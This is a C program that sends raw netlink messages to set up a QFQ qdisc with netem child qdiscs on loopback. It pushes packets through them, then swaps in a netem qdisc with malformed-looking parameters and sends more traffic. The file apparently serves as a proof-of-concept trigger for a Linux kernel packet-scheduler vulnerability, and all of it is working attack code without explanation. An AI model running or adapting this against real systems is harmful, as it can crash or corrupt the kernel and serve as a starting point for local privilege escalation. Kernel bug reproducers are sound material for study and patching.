#define _GNU_SOURCE

#include <arpa/inet.h>
#include <endian.h>
#include <errno.h>
#include <net/if.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/if_ether.h>
#include <linux/netlink.h>
#include <linux/pkt_cls.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>

#define NLA_F_NESTED (1 << 15)


#define TC_MSG_BUFSIZE 16384
#define TC_HANDLE(maj, min) (((maj) << 16) | (min))



#define NLMSG_TAIL(nmsg) ((struct rtattr*)(((char*)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))



static char g_nl_buf[TC_MSG_BUFSIZE];

static struct nlmsghdr* nl_msg_init(void)
{
  struct nlmsghdr* msg = (struct nlmsghdr*)g_nl_buf;
  memset(msg, 0, TC_MSG_BUFSIZE);
  msg->nlmsg_len = NLMSG_ALIGN(NLMSG_LENGTH(0));
  return msg;
}

static struct tcmsg* nl_msg_init_tc(struct nlmsghdr* msg, uint16_t type,
                                    uint16_t flags, int ifindex,
                                    uint32_t parent, uint32_t handle)
{
  struct tcmsg* tc;
  msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
  msg->nlmsg_type = type;
  msg->nlmsg_flags = flags;
  tc = (struct tcmsg*)NLMSG_DATA(msg);
  tc->tcm_family = AF_UNSPEC;
  tc->tcm_ifindex = ifindex;
  tc->tcm_parent = parent;
  tc->tcm_handle = handle;
  return tc;
}

static int nl_attr_put(struct nlmsghdr* msg, int maxlen, int type,
                       const void* data, int alen)
{
  int len = RTA_LENGTH(alen);
  struct rtattr* rta;
  if (NLMSG_ALIGN(msg->nlmsg_len) + RTA_ALIGN(len) > (unsigned int)maxlen)
    return -1;
  rta = NLMSG_TAIL(msg);
  rta->rta_type = type;
  rta->rta_len = len;
  if (alen && data)
    memcpy(RTA_DATA(rta), data, alen);
  msg->nlmsg_len = NLMSG_ALIGN(msg->nlmsg_len) + RTA_ALIGN(len);
  return 0;
}

static int nl_attr_put_str(struct nlmsghdr* msg, int maxlen, int type,
                           const char* str)
{
  return nl_attr_put(msg, maxlen, type, str, strlen(str) + 1);
}

static int nl_attr_put_u32(struct nlmsghdr* msg, int maxlen, int type,
                           uint32_t v)
{
  return nl_attr_put(msg, maxlen, type, &v, 4);
}

static struct rtattr* nl_attr_nest_start(struct nlmsghdr* msg, int maxlen,
                                         int type)
{
  struct rtattr* nest = NLMSG_TAIL(msg);

  if (nl_attr_put(msg, maxlen, type | NLA_F_NESTED, NULL, 0) < 0)
    return NULL;
  return nest;
}

static void nl_attr_nest_end(struct nlmsghdr* msg, struct rtattr* nest)
{
  nest->rta_len = (char*)NLMSG_TAIL(msg) - (char*)nest;
}

static int nl_send(int sock, struct nlmsghdr* msg)
{
  struct sockaddr_nl nladdr;
  struct iovec iov;
  struct msghdr msgh;
  memset(&nladdr, 0, sizeof(nladdr));
  nladdr.nl_family = AF_NETLINK;
  iov.iov_base = msg;
  iov.iov_len = msg->nlmsg_len;
  memset(&msgh, 0, sizeof(msgh));
  msgh.msg_name = &nladdr;
  msgh.msg_namelen = sizeof(nladdr);
  msgh.msg_iov = &iov;
  msgh.msg_iovlen = 1;
  return sendmsg(sock, &msgh, 0);
}

static void send_to_class(uint32_t classid, int count)
{
    int sock;
    struct sockaddr_in addr;
    char data[64] = "trigger";
    
    sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock < 0)
        return;
    
    const char* ifname = "lo";
    setsockopt(sock, SOL_SOCKET, SO_BINDTODEVICE, ifname, strlen(ifname));
    
    struct timeval tv = {0, 10000};
    setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
    setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
    
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = htonl(0x7F000001);
    addr.sin_port = htons(12345);
    
    if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
        int prio = classid;
        setsockopt(sock, SOL_SOCKET, SO_PRIORITY, &prio, sizeof(prio));
        for (int i = 0; i < count; i++)
            write(sock, data, sizeof(data));
    }
    close(sock);
}



static int set_qdisc_netem_1(int sock, int ifindex, uint32_t parent, uint32_t handle)
{
  struct nlmsghdr* msg = nl_msg_init();
  struct tc_netem_qopt qopt = {0};

  int flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL;


  nl_msg_init_tc(msg, RTM_NEWQDISC, flags, ifindex, parent, handle);
  nl_attr_put_str(msg, TC_MSG_BUFSIZE, TCA_KIND, "netem");
  qopt.latency = 0;
  qopt.jitter = 0;
  qopt.limit = 1000;
  qopt.loss = 0;
  qopt.duplicate = 0;
  qopt.gap = 0;
  nl_attr_put(msg, TC_MSG_BUFSIZE, TCA_OPTIONS, &qopt, sizeof(qopt));

  return nl_send(sock, msg);
}

static int set_qdisc_netem_2(int sock, int ifindex, uint32_t parent, uint32_t handle)
{
  struct nlmsghdr* msg = nl_msg_init();
  struct tc_netem_qopt qopt = {0};
  int flags = NLM_F_REQUEST | NLM_F_CREATE |  NLM_F_EXCL;


  nl_msg_init_tc(msg, RTM_NEWQDISC, flags, ifindex, parent, handle);
  nl_attr_put_str(msg, TC_MSG_BUFSIZE, TCA_KIND, "netem");
  qopt.latency = 0;
  qopt.jitter = 0;
  qopt.limit = 1000;
  qopt.loss = 0;
  qopt.duplicate = 0;
  qopt.gap = 0;
  nl_attr_put(msg, TC_MSG_BUFSIZE, TCA_OPTIONS, &qopt, sizeof(qopt));

  return nl_send(sock, msg);
}

static int set_qdisc_netem_3(int sock, int ifindex, uint32_t parent, uint32_t handle)
{
  struct nlmsghdr* msg = nl_msg_init();
  struct tc_netem_qopt qopt = {0};
  struct tc_netem_corrupt corrupt = {0};
  struct tc_netem_reorder reorder = {0};
  struct tc_netem_rate rate = {0};
  struct tc_netem_corr corr = {0};
  struct tc_netem_gemodel gemodel = {0};
  struct tc_netem_gimodel gimodel = {0};
  struct rtattr* nest;
  int flags =
      NLM_F_REQUEST | NLM_F_CREATE | NLM_F_REPLACE;


  nl_msg_init_tc(msg, RTM_NEWQDISC, flags, ifindex, parent, handle);
  nl_attr_put_str(msg, TC_MSG_BUFSIZE, TCA_KIND, "netem");
  qopt.latency = 0x4000c;
  qopt.jitter = 0x6e000000;
  qopt.limit = 1;
  qopt.loss = 0x6e000000;
  qopt.duplicate = 1;
  qopt.gap = 0x3000c;
  nl_attr_put(msg, TC_MSG_BUFSIZE, TCA_OPTIONS, &qopt, sizeof(qopt));

  return nl_send(sock, msg);
}

static int del_qdisc(int sock, int ifindex, uint32_t parent, uint32_t handle)
{
  struct nlmsghdr* msg = nl_msg_init();
  nl_msg_init_tc(msg, RTM_DELQDISC, NLM_F_REQUEST, ifindex, parent, handle);
  return nl_send(sock, msg);
}


static void cleanup_tc(int sock, int ifindex)
{
  del_qdisc(sock, ifindex, TC_H_ROOT, 0);
  del_qdisc(sock, ifindex, TC_H_INGRESS, 0);
}

static void add_qdisc_qfq(int sock, int ifindex, uint32_t parent, uint32_t handle)
{
    struct nlmsghdr* msg = nl_msg_init();
    nl_msg_init_tc(msg, RTM_NEWQDISC, NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL,ifindex, parent, handle);
    nl_attr_put_str(msg, TC_MSG_BUFSIZE, TCA_KIND, "qfq");
    nl_send(sock, msg);
}

static int add_class_qfq(int sock, int ifindex, uint32_t parent, uint32_t handle,
                     uint32_t weight, uint32_t limit)
{
  struct rtattr* nest;
  struct nlmsghdr* msg = nl_msg_init();
  nl_msg_init_tc(msg, RTM_NEWTCLASS, NLM_F_REQUEST | NLM_F_CREATE, ifindex,parent, handle);
  nl_attr_put_str(msg, TC_MSG_BUFSIZE, TCA_KIND, "qfq");
  nest = nl_attr_nest_start(msg, TC_MSG_BUFSIZE, TCA_OPTIONS);
  nl_attr_put_u32(msg, TC_MSG_BUFSIZE, TCA_QFQ_WEIGHT,weight);
  nl_attr_put_u32(msg, TC_MSG_BUFSIZE, TCA_QFQ_LMAX, limit);
  nl_attr_nest_end(msg, nest);
  return nl_send(sock, msg);
}



static long trigger(void)
{
  int sock;
  int ifindex = 1;

  sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);

  cleanup_tc(sock, ifindex);
  
  add_qdisc_qfq(sock, ifindex, TC_H_ROOT, TC_HANDLE(1, 0));

  add_class_qfq(sock, ifindex, TC_HANDLE(1, 0), TC_HANDLE(1, 1), 1, 1024);
  add_class_qfq(sock, ifindex, TC_HANDLE(1, 0), TC_HANDLE(1, 2), 1, 1024);
  
  set_qdisc_netem_1(sock, ifindex, TC_HANDLE(1, 1), TC_HANDLE(2, 0));
  set_qdisc_netem_2(sock, ifindex, TC_HANDLE(1, 2), TC_HANDLE(3, 0));
  
  send_to_class(TC_HANDLE(1, 1),1);
  send_to_class(TC_HANDLE(1, 2),1);

  sleep(2);
  set_qdisc_netem_3(sock, ifindex, TC_HANDLE(1, 1), TC_HANDLE(2, 0));

  send_to_class(TC_HANDLE(1, 1),10);

  sleep(2);

  close(sock);
  return 0;
}


int main(void)
{

  trigger();
  return 0;
}